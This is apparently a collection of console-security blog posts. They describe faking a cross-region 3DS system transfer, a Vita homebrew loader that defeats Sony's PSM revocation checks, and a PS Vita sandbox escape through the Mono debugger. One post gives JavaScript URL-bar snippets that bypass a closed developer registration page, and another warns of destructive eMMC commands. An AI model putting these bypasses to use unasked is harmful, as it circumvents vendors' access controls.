Before we begin, it would be beneficial to have a quick breakdown of the different Nintendo servers and what their uses are with respect to account management.

SOAP Servers

First, we have the SOAP servers which the 3DS communicates with using XML SOAP. The client that speaks to the SOAP servers is the “nim” module.

NetUpdateSOAP (NUS)

This server is used to handle update requests and is detailed in my last post.

ECommerceSOAP (ECS)

This is the gateway to all 3DS communication. Whenever the 3DS needs to speak with any of the SOAP servers, it first makes a request to “GetAccountStatus”, which returns the console’s (legacy) account id, region lock information, and other identifying information. It is also lets the 3DS “sync up” with Nintendo. For example, if the account id changed (off-line transfer, system format, etc) then this request returns error code 903 which forces NIM to obtain the proper account id and token through IVS. The account Country (region lock) ensures that requests are being made to servers in the right country. The AccountStatus returned is usually ‘R’ (no NNID linked) or ‘T’ (NNID linked). However, it can also be ‘U’ (device unregistered) or ‘P’ (account transfer is in process). If any of those responses are read, NIM will try to re-register the device (aka, create a new legacy account or transfer an old one over). Next, a list of the server URLs for all the other SOAP servers is returned. Finally, a list of ticket-ids associated with the account is returned. This is a list of all eShop titles and DLCs that the account is licensed for (which can be very large I assume). If the device sees any ticket ids it does not have currently installed, it will download the tickets. All of this is done during an Initialization request to speak with ECS servers from whatever system title made the request. That means every time any system application wishes to speak with Nintendo SOAP servers (for whatever reason), the device syncs up with Nintendo.

IdentityAuthenticationSOAP (IAS)

This handles what I call “legacy accounts.” Before NNIDs were introduced, the account id is unique per device. When you connect a new 3DS to the internet for the first time, a “Register” request is sent to IAS along with the device serial, unique certificate, and a signature over the entire request using the certificate. Nintendo assigns your console an account id and that is used in the eShop. If you choose to delete your unlinked account from the eShop settings menu, the “Unregister” request is made which delinks your legacy account from your unique console certificate. Then the next time GetAccountStatus is called, it will return ‘U’ for AccountStatus which will force the device to register for a new account.

CatalogingSOAP (CAS)

I think this is used to get information about system-wide parameters like “how often can an account be moved”. It is not used much and I did not look into it because it does not handle any account unique requests.

NNID Server

Next we have the “account.nintendo.net” server which appears to be REST based. The “act” module is responsible for speaking to it. This was introduced with the update that brought NNID. When you create a NNID, it is linked to your device serial and certificate (until you transfer it). Logging in to the NNID server consists of sending a username and hashed password along with the device serial, certificate, and region information. If everything matches what Nintendo has on file, an OAuth token is returned and used for further communications. It is important to note that NNIDs must be associated with a legacy account in addition to a device id. Upon first linking, titles associated with the legacy account is transfered over to the NNID. This means if you bought a console with a game pre-installed and you transfer your NNID over, that game will now be linked with your NNID. Linking an account also means that it is not possible to use that legacy account without the same NNID. When you link an account and format the system, you are forced to create a new legacy account. (I’m unsure if this means that if you buy content with this new legacy account and re-link your NNID if that will transfer the contents over. I believe that would be the case.)

eShop Servers

The eShop servers are also RESTful and are named “samurai”, “ninja”, “ccif”, and “eou”. Samurai is used for eShop requests (game details, screenshots, etc) and ninja is used for account information. The other two I have not observed yet. If the account is not linked (legacy account), getting an authentication token for ninja involves passing in just the serial number, region, and account token (from IVS). If the account is linked to an NNID, then a “service token” obtained from the NNID server (requested with the OAuth token) is also passed to ninja. This is how ninja is linked to IVS and NNID servers.

System Transfer

Initialization

When you first launch CARDBOARD (either system), as with any SOAP communication, the initialization requests GetAccountStatus which ensures the console is registered and up to date (account-wise, firmware-wise is done through NUS). If the Country returned here does not match the CARDBOARD title’s region, an error is shown. Next a request for GetCountryAttributes is made to CAS which returns MoveAccountMinDays, MoveAccountMaxTimes, and other information. Following that, an IVS request for GetAccountAttributesByProfile is made to check if the account information adheres the limits set by the CAS response. Finally, a couple of ECS requests are made to query the status of the account (balance, tickets, etc) which are likely cached for later use.

Receiving Console

At this point, you are given the option to send or receive from this console. If you are the receiving console, the console begins to broadcast UDS (Nintendo’s custom encrypted local wireless protocol) packets with the profile name, if the device is a development unit, and a hash of the console’s serial.

Sending Console

On the sending console, if it is NNID linked, the user will be prompted to input their NNID credentials. Once successful, the sender listens for UDS broadcasts and displays the ones it sees on screen. Once a receiver is selected, the two exchange basic information about the protocol version (there are current four versions) and various details on the devices. Because UDS does not guarantee packet integrity or arrival, a CRC is added to each packet header. To possibly prevent replay attacks, a random number is placed in each packet and a MD5 hash of the entire packet is included at the end.

Once both consoles are satisfied with the other’s reliability and status, the sending console disconnects from local wireless and connects back to the internet. Using either the NNID service token or just the IVS account token (for unlinked devices), a session with ninja (eShop) is established. This checks that the account is valid and the session is kept open for a later step. A request is made to IVS for MoveAccount with CheckOnly set to true. It passes the account ids, device ids, and tokens for both devices to check if a transfer is allowed. If, for example, the two devices are in different regions, a transfer is not allowed. If no error is returned, the user is now prompted to confirm the transfer (decide how to move the SD card data, move DSiWare titles, and other housekeeping tasks).

Transferring Data

Now the two consoles connect back using UDS and data transfer takes place over RDT, Nintendo’s reliable data transfer protocol implemented over UDS. The contents of nand:/data/<ID0> is copied from the old console over to the new one. I haven’t looked into the specifics of how it works, but I speculate that the receiving console’s SEED (in memory) is changed temporary to the sending console’s SEED. This allows the receiving console to create extdata and sysdata under the sending console’s ID0. Then it creates the data archives through the usual FSUser APIs and fills them with the data received from the old console. After the transfer is complete but before it is validated with Nintendo, the old SEED is restored so the new data cannot be used until the receiving console is synced up with Nintendo.

In the last step (transferring eShop shows up on screen), on the sending console, another request to IVS MoveAccount is made, this time CheckOnly is not set. This effectively transfers the legacy account over. Now, the NNID is transfered over with a request to the NNID server in order to link the new console serial/certificate with the NNID. At this point the old console’s CTRNAND is formatted (even before the “format” prompt shows up).

Validation

I have never reached this step since I was not able to perform a proper system transfer (not having access to two consoles from the same region) however I can speculate what happens next. The receiving console creates an empty shared extdata (0xe0000000) and reboots. Home menu sees this extdata and loads up CARDBOARD. It connects to ECS and sees the account status is ‘P’ and gets the new account details. As part of the GetAccountStatus response, a list of all tickets associated with the account is returned (and all tickets are downloaded). Note that since GetAccountStatus is made any time ECS communication is established, this can also happen the next time you enter eShop (if you interrupt the system transfer after the last step above). That is also how offline (Nintendo Support) transfers work. Then it writes the sending console’s SEED to the NAND and restores its own configuration save (wifi settings, profile name, etc) and reboots.

Faking this Process

I was able to fake a system transfer from my USA 3DS XL to my JAP N3DS by augmenting and substituting each of these steps. While the complete process is more complicated than I have time to describe (plus I haven’t kept notes of everything I did), I can give the basic outline of what I did here.

First, I performed a region swap using the SecureInfo replacement trick (using my old 3DS’s SecureInfo means I did not need to patch signature checks, but it also means I must manually patch my old serial number in memory every time I wish to enter eShop). Next I transfered my NNID by running CARDBOARD with the region checks patched out (one patch to replace GetAccountStatus response Country to be US and another one to ignore the error code from MoveAccount). Although the IVS MoveAccount fails, the NNID transfer seemed to have worked. At this point, my American NNID is associated with my Japanese console and Japanese legacy account. Since my legacy account did not transfer over, the validation step will always fail. So I dumped my NAND and manually imported the movable.sed over. Since the system data was already transfered over, I had to “activate” it by removing the 0xe0000000 extdata and copying over my old configuration save. Then I re-flashed my modified NAND and linked my NNID (after patching my old serial in memory). Finally, I was able to enter eShop and trigger the ticket download. Now my old SD card works and all my saves and games transfered over.

World's first US ambassador N3DS non-XL!

World’s first US ambassador N3DS non-XL!

Some Tools

In this long journey to produce an American 3DS (non-XL) with all my information transferred over, I made a couple of homebrew tools and patches that others may find helpful.

  • 3DSInstallTickets lets you import tickets and CIAs into the system. Not really useful now since FBI has a much nicer interface and more features.
  • 3DSTransferDevice lets you export movable.sed and import SecureInfo and movable.sed. It uses official APIs which does verification checks on the data you’re importing so it is “safer” than manually writing the files to the NAND. Of course, you can still brick your device with this so be careful!
  • CardboardPatches are the patches I wrote to log and analyze CARDBOARD (especially the local communication stuff that disconnects you from NTR debugger). Not useful to anyone except hackers wanting to continue this work.
  • Spider3DSTools (NIM Patcher) patches NIM to use your own servers on the O3DS. This allows you to bypass updates on 9.2 and use CARDBOARD. The code is really hacky and was put together in an hour or so.
  • service-patch (Spider fork) attempts to port archshift’s wonderful ARM11 service patching utility to work with Spider on O3DS and was an attempt to make the code above more beautiful. This currently does not work and I don’t think I’ll ever finish it now that I have no use for my O3DS anymore, but it should be “mostly done” (like spiderninja).
  • Patches for eShop to work are needed every time you wish to connect to eShop on your region-swapped NNID linked console. This is because officially your legacy account is still in another region (and eShop application errors on this) even though your NNID is in the right region and only the NNID account is used for eShop. This also patches the update checks so you can enter eShop on 9.2.

You Should Register for PSM

$
0
0

PlayStation Mobile (PSM) for those unaware is Sony’s platform for indie game developers. They have decided to start shutting down the service after May 31, 2015. Before then, I think it would be wise for everyone (not just game developers) to sign up for an account (it’s free!), set up the developer assistant on their Vita, and run at least one sample application. If you don’t try this platform out and see what it has to offer, you might regret it.

What you should do before June 2015:

  1. Sign in to the PSM DevPortal with your PSN account
  2. Click the button to “Apply for PSM Publisher License” and follow the directions
  3. After you get approved, download SDK 1.21.02 (NOT SDK 2.00.00 or Unity for PSM)
  4. Follow the directions to get the dev assistant for your Vita
  5. Once everything is installed, play with a demo! For example, BallMazeDemo is pretty fun. Before the demo will run though, you have to generate an app key. Refer to PSM’s documentations for that.

Calling all coders: We need you to help create an open Vita SDK!

$
0
0

One of largest barrier to native PS Vita homebrew is the lack of an open toolchain and SDK. Essentially, we need something like pspsdk for the Vita. The reason why we don’t have it is because there are people who have an understanding of how the Vita’s executable format works but lack the time to code up the tools and there are people who have the time and ability to create such tools but lack the knowledge of Vita’s internals. The solution, I believe is to publish a comprehensive document detailing how the Vita’s executable format is laid out and the requirements for an open toolchain. Anyone with coding skills can now work on an open SDK; no Vita knowledge required!

For those who want to help with this endeavor, there are only two prerequisites. First, you must understand how the ELF format works. It is a very simple format and this document gives all the details. It would also be advantageous to understand the ARM extensions to ELF. Once you are caught up with that, you should be able to understand the SCE ELF format that I detail in the attached document. The actual tools that we need can be written in any language as long as it supports the three major platforms and meet the requirements detailed in the specifications. However, if you want a place to start, I would recommend libelf and portable C. I hope that the community can get together to work on this. Once someone makes promising progress, I will update this post with a link to the project so others can contribute. Please post any comments or suggestions you have for this document below. #vitasdk on FreeNode will be for developer discussion on the SDK.

PS Vita Open SDK Specifications

P.S (in an unrelated subject): Did you get a PSM license? If not, don’t fret, we got you covered. Just make sure you have the developer assistant installed on your Vita.

 

Secure your eMMC devices!

$
0
0

Most of our embedded devices use eMMC, but security into eMMC (as far as I know) has not been extensively studied or taken account of in threat models. In the small sample of devices I’ve looked at, the ability to send raw commands to the eMMC only requires kernel access. If you look at the Android platform, kernel hacks are not uncommon and remote kernel hacks are also not a rarity. There are certain commands that a hacker can send which can permanently disable (brick) a device.

Permanent write protect can be enabled on the main partition or any of the boot partitions. A malicious entity with kernel access to the device can wipe the bootloader and enable permanent write protect and prevent any (even hardware based) recovery.

Card lock will lock the eMMC with a password. No data would be accessible without the password. An adversary could hold your data for hostage and demand payment for a hardware unlocking solution.

This is not meant to be an exhaustive list. There are other attack vectors to watch out for too. For example, if the device uses the RPMB to prevent downgrades, an attacker may corrupt it and prevent boot. The main takeaway here is that having raw eMMC access is dangerous.

So far, the only eMMC based attack in the wild was from a piracy dongle on the 3DS called Gateway. This only affected a small number of users who choose to hack their 3DS with Gateway. However, in the future, we may see an expansion of these kinds of attacks on mobile devices.

Solutions

The eMMC specifications provides a means of disabling any potentially destructive features either at power-on or permanently. If disabled at “power-on” then it is the trusted bootloader’s prerogative to disable destructive features so when the untrusted kernel is compromised, the attacker won’t be able to use any destructive features. Care must be taken in implementing this solution as reset attacks have to be prevented. Also, this will not prevent any hardware based bricking, although it is unlikely that such a thing can happen remotely.

Permanent disable of features like card lock and write protect will prevent the commands for enabling them from ever working. Device manufacturers who choose to do this must be sure that they would never need to use such a feature in the future. This is the safest solution.

Another potential solution is to treat the eMMC as a secure device under an ARM TrustZone implementation, but this would be specific to ARM based systems.

As a user who wants to secure their eMMC based devices, you can obtain root access and run the permanent disable commands, although such a task is obviously dangerous and should only be attempted by someone with knowledge of eMMC. I hope to write an Android app at some point that can perform this operation, although it is very low priority for me at this point.

Overall, I think more research should be done on the topic of eMMC security. I only have a small sample of devices that I’ve tested and found the disable commands for the destructive actions are not used (therefore an attacker with kernel access can run them). Someone with the resources should perform a study to see how many percentage of devices in the wild has the potential to be compromised with an eMMC attack.

Rejuvenate: Native homebrew for PSVita

$
0
0

(Sadly, they did not give me a spot at the Sony E3 conference, so I have to make do with this blog post.) I am excited to announce Rejuvenate, a native homebrew platform for PS Vita. The tools that will be released through the next couple of weeks will allow developers (not in contract with Sony) to develop and test games, apps, and more on the PS Vita. These unofficial software can run on any PS Vita handheld device without approval by Sony. These tools cannot enable pirated or backup games to run (I’m not just saying this… the exploits used does not have enough privilege to enable such tasks). Rejuvenate requires PlayStation Mobile Development Assistant to be installed on your Vita! Sony will remove this from PSN soon, so if you wish to ever run homebrew apps on your PS Vita, you must download this app now!


It’s been almost three years since I found the first native exploit for the PS Vita. Many people have asked me why I did not release my tools for public consumption. Other than laziness, the two main reasons were: 1) I believed that PSM was a great platform for indie developers and feared that releasing this would ensure PSM a death like OtherOS, and 2) there was no SDK for Vita homebrew so releasing the exploit would not benefit any users at all since they have no use for it. Now that Sony is killing PSM anyways and there is significant progress on the SDK, it seems that the time is right for a release.

Rejuvenate

Rejuvenate is composed of three main tools which together provides a platform for developers to write Vita homebrew.

  • UVLoader 1.0 allows executables to be loaded on the PS Vita. The original version was written three years ago for firmware version 1.80. Since then, Sony has taken the source code and made loading code much, much, harder. However, there is no barrier that cannot be bypassed! The latest version includes support for SCE ELF relocations, NID poison antidote, and more. It can run homebrews on Vitas up to firmware 3.51 (at time of writing)
  • VitaDefiler is a RPC (remote procedure call) system for Vita userland. Main features includes live peek/poke of userspace memory, execution of arbitrary ARM code, and a scripting interface for quickly running tasks. Originally developed for finding exploits, this tool can also be used by homebrew developers to test and debug their apps. VitaDefiler also serves as the ASLR (address-space-layout-randomization, a technique used by Sony to discourage exploitation) bypass for UVLoader.
  • PSM+ is what I call the method I found to bypass the two kill-switches Sony placed into PSM to prevent this very scenario. First, app-keys which are issued by Sony to developers to sign PSM content are required for the exploit to run. These keys usually expire every three months, and Sony can refuse to issue them later. This can be bypassed. Second, every day, PSM phones home to see if it is revoked. If Sony decides to kill the Dev Assistant (and they will), it will refuse to run even if you have it installed. This can also be bypassed.

These tools, along with the open SDK (currently in development) will allow for developers to write Vita homebrew. The demonstration video above shows UVLoader running as a VitaDefiler script (which supplies information for ASLR bypass). The spinning-cube demo was coded up by me, linked together by hand (as the open SDK is currently incomplete), and launched with UVLoader. It is running natively with direct access to the GPU API calls (not within the PSM sandbox).

Limitations

So what’s the catch? The good news is you don’t have to buy any obscure or expensive game (everything is free!). The bad news is that launching homebrews is not as simple as copying some files over. Hopefully, most of these limitations can be bypassed in a later release, but at this point, the following side effects will apply

  • USB connection is required each time you wish to launch a homebrew. The exploit requires a PC to run, so this is unfortunately a requirement. This also means that the VitaTV is not supported.
  • Windows PC is required. Blame Sony for never porting PSM tools to other operating systems.
  • Network is required once each day you decide to run homebrew. This is because PSM has to phone home every day. Although we have a means of bypassing the revoke, we currently cannot bypass the phone-home.
  • Firmware 3.00+ recommended. Although technically the exploit works on 1.69+, the latest version of the tools have only been tested (and will only support) 3.00+. If there is enough interest, I can port it to lower firmware versions, but it will be very low priority.

FAQ

I don’t want to bother with [insert limitation from above], should I still download PSM Developer Assistant?

Yes, if you ever want to run homebrew at some point. PSM DevAssistant is the only application on the PS Vita that has the required permissions to run arbitrary code in memory. WebKit exploits does not allow for this. Any game exploit does not allow for this. Any system application exploit does not allow for this. PSM DevAssistant is the only application allowed to execute code other than the kernel (operating system), which nobody is even close to hacking. In other words, expect at least a dozen more exploits of PSM DevAssistant (each of which may require less hassle to use) before someone finds a kernel exploit.

Can I run backups/ISOs/copied games for Vita? For PSP? For PSOne?

No.

Stop acting all high any mighty with your anti-piracy stance.

Inability to decrypt/dump/execute official software and games is not something I decided to include by choice (however, I am glad it’s there). The exploits that are used physically does not give permissions for this. Sony did a really good job with security in depth, no application has more privileges than necessary. PSM DevAssistant would never be used officially to decrypt, dump, or execute signed games so it cannot do so even when exploited.

What kind of homebrews will we see? Is it any better than PSP homebrew?

This depends on how many developers are willing to invest time in writing homebrew for the Vita. I’m as hopeful as you are. In terms of pure statistics, the PSP-3000 has 64MB of shared memory, 333MHz CPU, and 166MHz GPU. The Vita has 512MB of main memory and 128MB of dedicated video RAM. It has four cores of CPU running at around ~1GHz and four cores of GPU running at around ~200MHz. In addition, the Vita also has the entire PSP hardware inside its silicon.

The exploit used also allow for developers to use dynamic-recompilation features for speeding up emulators.

Can I install Android, custom themes, cheats, or plugins?

No, this exploit does not give kernel or bootloader level of access. It cannot access the filesystem (unsandboxed), modify system files, or access other process’ memory.

Schedule

  • Today, early beta access of Rejuvenate is being distributed to SDK developers (to complete and test the SDK) as well as hackers who will begin searching for more exploits (and hopefully bypass the current limitations)
  • By end of the month (or whenever Sony removes PSM DevAssistant from PSN), a public beta goes out. However, it is only recommended that homebrew developers use it as there would be no homebrew for users to try yet. Hopefully at this point, the open SDK would be complete and ready for developers to write apps.
  • When PSM is revoked, the directions for using PSM+ to bypass the revokes will be released.

EDIT: Public beta is now out.

In the meantime, we have two IRC channels for Vita discussions (sorry about the confusion, it’s a long story)! This is the preferred way to speak with me and other unofficial Vita developers. For discussion of UVLoader, VitaDefiler, and other exploit related things, join #vitadev on irc.efnet.net. For discussion on the open SDK, APIs, and homebrew development, join #vitasdk on chat.freenode.net.

Thanks to everyone who helped out with this, especially Davee, Proxima, and xyz. I hope that this is the start of something great. Every day, people clamor about the death of the Vita, but we will prove them wrong. We will give new life to the Vita.

How To Register and Download for PSM (Shutdown Bypass)

$
0
0

Update: It seems that Sony has closed this loophole. However, if you own a PS3, there is another way.

Did you miss the call to register for PSM? People found out today that if you did not register for PSM (not the publisher’s license that requires manual approval, but the general developer registration), they cannot download the Developer Assistant app on their Vita in order to run Rejuvenate. Not to worry, I have discovered a workaround. But act quickly because Sony will patch this loophole soon and possibly also remove the Developer Assistant from PSN, so you should download it now.

Please note that the steps below requires running Javascript in the URL bar. Most browsers support this features, but I know that Chrome does not allow you to paste any text beginning with “javascript:” into the URL bar. So on Chrome (and possibly other browsers), you must paste just the text after “javascript:” into the URL bar and the manually type in “javascript:” at the beginning.

  1. First, begin the registration process by following this link.
  2. Enter the following into the URL bar on registration page
    javascript:$("#lbl-dvrg-signin-signin").removeClass('disabled');
  3. You should now be able to click the “Sign In” button. Proceed to sign into PSN.
  4. Enter the following into the URL bar on the license agreement page
    javascript:$(".btn,.btn-primary,.btn-large,.spn2").attr('id','lbl-dvrg-agreement-next').removeClass('disabled').removeAttr('disabled');
  5. You should now be able to click the “Next” button. Proceed with the rest of the registration. Complete the registration by clicking the link sent to your email and logging in again to PSN.
  6. PlayStation®Mobile Developer Assistant should now show up in your Downloads List on your Vita. You can download it from PSN on your Vita.

This is likely your last chance to get PSM. Please do it soon before it’s gone forever! Remember, even though the current exploit to be released has many limitations (including no VitaTV support), any future homebrew exploit (which may have less limitations) will likely use PSM DevAssistant, so if you ever want homebrew on your Vita device, you must download the DevAssistant application.

Rejuvenate Public Beta Release

$
0
0

Rejuvenate, announced last week allows users to install unofficial applications and games (homebrew) onto their PS Vita device. Please read that announcement post for more information. Today, the public beta is ready for testing.

The beta is only for those who were able to obtain a publisher’s license (whose application was approved by Sony before the deadline on May 31). For the rest of you who do not have the publisher license (and no friends with a publisher license) but only the DevAssist app on your Vita, please wait for further instructions to come.

Note that currently, the open SDK does not work so you will not be able to develop or run homebrew. You can only run the ‘hello world’ demo. The main purpose of this open beta is to test VitaDefiler and UVLoader and find bugs in those tools as well as the setup process. Please follow the directions in README.txt. If you encounter any bugs or errors, join the #vitadev IRC channel on EFNet for support. No support will be provided by me elsewhere (Twitter, here, forums, etc). If you are running a version of PSM DevAssist that is currently not supported, please also join the IRC channel so we can port the tools to your PSM version.

Creating an App Key for a Friend

For those who have a friend with a PSM Publisher License (and can create app keys), follow the official guide from PSM to get an app key for your device. Then after you get BallMazeDemo to run on your Vita, you can run SETUP.bat from the Rejuvenate beta release and it will find the right keys. From personal experience, you may have to go through all the steps twice for it to work. I will not provide any support for this workaround, but feel free to ask Sony’s official forums. If you do not have access to a friend with a Publisher License, more instructions will be posted in the upcoming weeks.

Developer Help Needed

There are currently two open sdks in the works. psp2sdk and vita-toolchain. Both require more work to produce valid ELFs that UVLoader can load. If you are a developer, please consider contributing to one or both of these projects. I personally like vita-toolchain more because it implements my specifications exactly but I am biased that way.

Sources

  • UVLoader with 3.x support is on GitHub as always.
  • VitaDefiler sources are now public. Feel free to clone the repository and make changes as desired.
  • VitaInjector, the precursor to VitaDefiler is also public. This was the tool developed before VitaDefiler and also serves as the dirty and hacked up backend for VitaDefiler. It only supports FW < = 2.50. No support will be provided for this tool, its release is only for historical and archival purposes.

The writeup for the exploits used in VitaDefiler will be published soon. They have been written years ago, so I only need to update and polish them before publishing.

Download

The download can be found here. For those who like to share, please link to that page instead of the ZIP file because I will be posting updates directly to that page and the current download link would be outdated soon.

Hacking the PS Vita

$
0
0

The following was taken from a series of unpublished posts I wrote back in September 2012 (almost three years ago). The posts not only detail the exploit I found but also the thought process that led me to it. I intended to publish it as soon as the exploit was patched by Sony or after someone found another exploit on the system by examining the memory dumps. However, as of today, the PSM privilege escalation is still the only known way to execute native ARM code on the PS Vita. Apologizes for the outdated references.

Pathfinding

To start, lets brainstorm the different ways we can attack this black box of a device. Typically, a new device is unlocked in a process that usually involves: 1) dumping the device’s RAM/ROM/NAND, 2) analyzing the dumps for information and vulnerabilities, 3) using the vulnerability to create a tool that allows others to easily gain root access.

A cross section of the system-on-chip shows that the DRAM is stacked on top of the CPU and is impossible to sniff with conventional tools.

A cross section of the system-on-chip shows that the DRAM is stacked on top of the CPU and is impossible to sniff with conventional tools.

The first thing we need is information. We have a few sources. First is the wiki, which we can use to learn about the hardware. Unfortunately, even though the system uses the ARM architecture, the CPU is a proprietary Sony chipset which we have no information on. There is also the source code for various components of the system. We can use the source code to see if any library used (like libpng) has vulnerabilities. However, even if there are, exploiting will be hard without a RAM dump since we don’t know where to inject the code or what code to inject, and the whole point of gathering information is to obtain a RAM dump. Therefore, trying to exploit the system at this point is pointless and would involve mostly guesswork. On a system like the PSP, the process was a bit simpler. 1.00 of the firmware allowed unsigned code to run without any hacks, and the system files were unencrypted and open for analyzing. When the firmware update that patched the hole was released, the information was already leaked and used to build another hack which is used to get more information on 1.50 which is used to hack 2.00 and so on. As you can see, everything depends on the first hack, which we are trying to find. This time, Sony did not make it easy for us. The next obvious avenue of attack is a hardware hack. This is how most of the consoles were first analyzed and how the 3DS is currently being analyzed. However, the Vita does not allow us to easily way to sniff the RAM because it is on the same system-on-chip as the CPU (the way to sniff RAM is to put a sniffer between the path of the RAM and the CPU to see what information is read/written). I am not discounting the possibly of a hardware hack on the Vita, but I do not want to open up my $300 device for the mere potential of getting some information. Plus I don’t know anything about hardware, so there’s that.

The most “common” exploits (looking at how often the PSP was hacked) are buffer overflows and heap overflows. However, finding either requires some knowledge of the system. For example, a buffer overflows allows you to redirect code execution to anywhere in the memory. But we don’t know the layout of the RAM. We don’t know where the stack is nor do we know where standard calls are. Of course, there’s always room for guessing (based on layout of other ARM platforms or the PSP), but there really isn’t even a way to see if a bug you find IS a buffer overflow. All you can tell is that the game/system crashed and you could try to “inject” memory addresses but again, you are guessing the memory addresses also. Multiple unknowns makes guessing an nonviable option. Usually, at this point, someone like me (software people) would step to the side and let the expert hardware reverse engineers do their job decapping the CPU and performing black magic, but there is still hope…

Playstation MobileSony recently opened up PlayStation Mobile, which is a way to allow indie game developers to write sandboxed software for the Vita and (some) Android phones. This is a good potential path into the system, because instead of needing to find an exploit that can execute code, we only need to find an exploit that escalates privileges, allowing us to bypass the sandbox. Traditionally, this is an easier task. PSM uses a runtime library called Mono (which is based off of .NET Framework used on Windows) which can take “bytecode” (which is compiles one programming language to another, simpler one) and compile it into native ARM code on the device after passing security checks (à la sandbox). The downside of having security like this is that performance is impeded, but we won’t get into the details of why PSM is inferior to native homebrew code. The good news here is that because PSM is based off of Mono and Mono is open source, we basically have the source code to the entire security system. The bad news is that Mono is a pretty secure platform (generally open source projects usually have better security because more people are looking for bugs) and the last major vulnerability was fixed back in 2010. However, the chances of exploiting Mono is still better than blindly guessing. At least now we have a goal in sight.

Plan of Attack

So now we have a more specific goal than “hack the Vita.” It is “find a bug with Mono or PSM’s implementation of Mono.” This was the most tiresome part of the whole process. For the next three weeks, for about three to four hours a day, all I did was read Mono’s source code as well as disassemble and read the PSM for Windows app and PSM for Android app. This is the boring aspect of hacking that most people gloss over. Slowly, as I understood more about how Mono VM worked, I begin to form possible attack vectors. Even though most of Mono’s native code execution abilities were removed (Pinvoke, loading dynamic libraries, System.Diagnostics.Process which is used to run programs), System.Marshal and System.IO are implemented in PSM (they can’t be removed because native code is required for tasks such as file IO). The security system of Mono (and .NET) that is used by PSM is the Moonlight (aka Silverlight) security system. The way this security system (called CoreCLR) works is that all managed code running is determined to be “security transparent” (unsafe) UNLESS it is the system runtime library (mscorlib.dll). In the runtime library, there are code marked “security critical”, which cannot be called by unsafe code. These “security critical” methods are usually native calls to tasks like threading, memory allocation, file IO, etc. The ability to call “security critical” methods without restriction is essentially the same as bypassing the sandbox because there exist security critical methods in System.Marshal that allow for raw memory access and jumping to arbitrary code in memory. Because of this, access to “security critical” methods is only accessible by “safe critical” methods which are exported by the runtime library to provide a gateway to the “security critical” methods. These gateway functions do all the necessary checks to make sure the “transparent” code does not do anything malicious (and everything we want to do would be considered malicious).

Now that we understood the security system in place, it’s just a matter of finding a flaw. My first attempt was to exploit some “safe critical” method. All it takes is one gateway function to miss some security check and we would have unrestricted access. Again, for weeks, it was nothing but reading source code, finding what calls specific methods, what arguments are passed where, and so on. Throughout that time, I’ve investigated hundreds (not a hyperbole) of different possible attack vectors (for example, trying to trick PSM into thinking our library is the system library, or trying to pass malformed paths to IO functions and so on). However, as I’ve said before, because Mono is open source, there are likely many security researchers who have audited the code especially since the Moonlight component runs in the web browser like Flash (and it would be an embarrassment to be less secure than Flash). I’m not saying Mono is absolutely secure, as I’m sure someone more talented could find an exploit, but the chances I will find something that experts have overlooked are slim. But, what if we turn that thinking around? What if we look were the experts didn’t look because they didn’t have to.

Exploiting PSM

If Moonlight (and its security system) was designed for web browsers, then using it as an all purpose security tool could be problematic. The threat model that Moonlight defends against is not exactly the same as the threat model for PSM. Moonlight is used to keep the user safe from malicious developers. PSM is supposed to keep Sony safe from (I guess they would consider “malicious”) developers. How do these two goals compare? Well, both threat models need to prevent access to native system functions and both need managed code to be completely sandboxed. However, there’s no reason for Moonlight to be secure against the debugger, right? The purpose of the debugger is to “oversee” applications, so implicitly it would be considered privileged. Under the Moonlight threat model, if the attacker can invoke the debugger, they already have privileges to execute unmanaged native code. But in PSM’s threat model, the debugger cannot be privileged since the developer has access to it. That seems like a promising observation, but how can we use the debugger to our advantage? Well, let’s see what the Mono debugger can do. INVOKE_METHOD looks VERY interesting. Its description says it can be used to run a method with the debugger. Could be use it to invoke “security critical” methods? MonoDevelop doesn’t have any GUI tools that make use of this feature, so I had to quickly code my own implementation of the Mono debugger client. Sure enough, I can use it to call any method, including the unmanaged memory read/write functions. Using this, I was able to dump all of the memory PSM has access to. I quickly took video of this historic moment. However, what I cannot capture was the feeling of success after months of hard work.

Executing Code

Some may be disappointed by the fact that there wasn’t a clever software bug that was exploited but I think a mistake in implementation is just as bad as any buffer overflow (if not worse). Now that we have a memory dump, it’s time to run some code. Here is another roadblock. ARM has a built in feature called XN (execute never) which basically means that the kernel decides what data in memory can be executed, usually with strict rules. This means we cannot just write code into the stack or heap and expect it to run. Even though we now control code execution, we do not have a way of getting custom code to run. All regions of memory that are executable (like PSM itself) are marked read only, so we cannot just overwrite existing code either. And, of course we don’t have kernel access (we got out of the PSM sandbox and jumped into the larger PS Vita system sandbox managed by the kernel). A possible way around this limitation would be return orientated programming which is how most modern exploits (i.e: iPhone) work around XN. This is feasible now that we have a memory dump to work with. At this point, I got in contact with other (read: smarter) people who are also interested in the Vita and were looking into this. However, this is where we really got lucky. (I have to credit the person who asked about it in either the IRC room or the forums, but I can’t recall their name right now.) PSM (Mono) must at some point produce executable code. Remember that the bytecode that the C# compiler produces must be just-in-time compiled into native ARM code on the device after passing security checks. This means PSM has access to special syscalls (with support in the kernel) to allocate executable memory and write to it. With our privilege escalation exploit, we are able to utilize these calls to write our own custom ARM code to memory and execute it. At this point, I pushed tons of assembly-coded payloads to farther inspect the system. I tried to read system files (can’t), the application files (encrypted) and also tested various syscalls and API functions to see what they do. This is the first time I or anyone has gotten native code to run on the Vita and it felt like Christmas morning.

More Details

The way the privilege escalation works is by finding the hashmap of loaded CLR images and traversing the hashmap to set every loaded image as a “runtime library” in order to grant it permission to make “security critical” calls. This is done with the debugger exploit. Then we use the methods found in the System.Marshal class to peek/poke memory and call native functions directly from C# code.

Writing a Loader

However, even though this means we can “run native code,” it would be crazy to expect homebrew developers to learn ARM assembly and write all their games that way. In addition, homebrew needs to be able to make calls to system API functions. Finally, homebrew must be packaged in a file format that does not need to be changed when the system changes with firmware updates. What we need is a loader that does the hard work of loading homebrew ELFs to memory (with our newfound PSM executable memory allocation syscalls) and linking them to system API functions in memory.

